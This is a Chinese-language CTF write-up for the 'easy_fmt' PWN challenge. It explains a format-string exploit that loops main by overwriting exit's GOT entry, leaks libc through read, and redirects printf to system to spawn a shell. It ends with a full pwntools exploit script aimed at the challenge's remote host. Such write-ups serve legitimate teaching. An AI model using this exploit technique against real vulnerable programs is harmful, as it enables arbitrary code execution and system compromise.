攻防世界PWN之easy_fmt题解

Easyfmt

首先,检查一下程序的保护机制

攻防世界PWN之easy_fmt题解_第1张图片

然后,我们用IDA分析一下

存在一个明显的格式化字符串漏洞,但是只能用一次,后面exit(0)会结束程序

攻防世界PWN之easy_fmt题解_第2张图片

CheckIn需要爆破

攻防世界PWN之easy_fmt题解_第3张图片

是一个随机数,且只有一位,我们直接输入2,成功率1/10

为了不让程序退出,多次利用printf,我们就得利用第一次的printf把exit的got表内容修改为0x400982,这样,我们就能一直处于一个循环,多次利用printf

攻防世界PWN之easy_fmt题解_第4张图片

由于RELRO为Partial RELRO,是延迟绑定,因此,exit的got表初始值为这个

因此,我们只需要修改后两字节

  1. #修改exitgot表,指向main+0x7C处,即形成一个循环,这样我们能继续使用printf  
  2. payload = '%' + str(0x982) + 'c%10$hn'  
  3. payload = payload.ljust(16,'b') + p64(exit_got)  
  4. sh.sendline(payload)  

接下来,为了得到system地址,我们准备泄露read函数地址,得到libc版本即基地址

  1. #泄露read地址  
  2. payload = '%10$sBBB' + p64(read_got)  
  3. sh.recvuntil('slogan: ')  
  4. sh.sendline(payload)  
  5. sh.recvuntil('slogan: ')  
  6. sh.recv(1)  
  7. read_addr = u64(sh.recvuntil('BBB',drop = True).ljust(8,'\x00'))  
  8. libc = LibcSearcher('read',read_addr)  
  9. libc_base = read_addr - libc.dump('read')  
  10. system_addr = libc_base + libc.dump('system')  
  11. print 'libc_base=',hex(libc_base)  
  12. print 'system_addr=',hex(system_addr)  

接下来,我们需要修改printf的got表内容,指向system即可

综上,我们的exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3. from LibcSearcher import *  
  4.   
  5. #sh = process('./easy_fmt')  
  6. sh = remote('111.198.29.45',53528)  
  7. elf = ELF('./easy_fmt')  
  8. printf_got = elf.got['printf']  
  9. read_got = elf.got['read']  
  10. exit_got = elf.got['exit']  
  11.   
  12. sh.sendlineafter('enter:','2')  
  13.   
  14. #修改exitgot表,指向main+0x7C处,即形成一个循环,这样我们能继续使用printf  
  15. payload = '%' + str(0x982) + 'c%10$hn'  
  16. payload = payload.ljust(16,'b') + p64(exit_got)  
  17. sh.sendline(payload)  
  18.   
  19. #泄露read地址  
  20. payload = '%10$sBBB' + p64(read_got)  
  21. sh.recvuntil('slogan: ')  
  22. sh.sendline(payload)  
  23.   
  24. sh.recvuntil('slogan: ')  
  25. sh.recv(1)  
  26.   
  27. read_addr = u64(sh.recvuntil('BBB',drop = True).ljust(8,'\x00'))  
  28. #print hex(read_addr)  
  29. libc = LibcSearcher('read',read_addr)  
  30. libc_base = read_addr - libc.dump('read')  
  31. system_addr = libc_base + libc.dump('system')  
  32. print 'libc_base=',hex(libc_base)  
  33. print 'system_addr=',hex(system_addr)  
  34.   
  35. #修改printfgot表,只需修改低3字节即可到system  
  36. data = system_addr & 0xFF  
  37. payload = '%' + str(data) + 'c%14$hhn'  
  38. data = ((system_addr & 0xFFFFFF) >> 8) - data  
  39. payload += '%' + str(data) + 'c%15$hn'  
  40. payload = payload.ljust(32,'B') + p64(printf_got) + p64(printf_got+1)  
  41. sh.recvuntil('slogan: ')  
  42. sh.sendline(payload)  
  43.   
  44. #get shell  
  45. sh.sendlineafter('slogan: ','/bin/sh')  
  46.   
  47. sh.interactive()  

你可能感兴趣的:(pwn,CTF,二进制漏洞)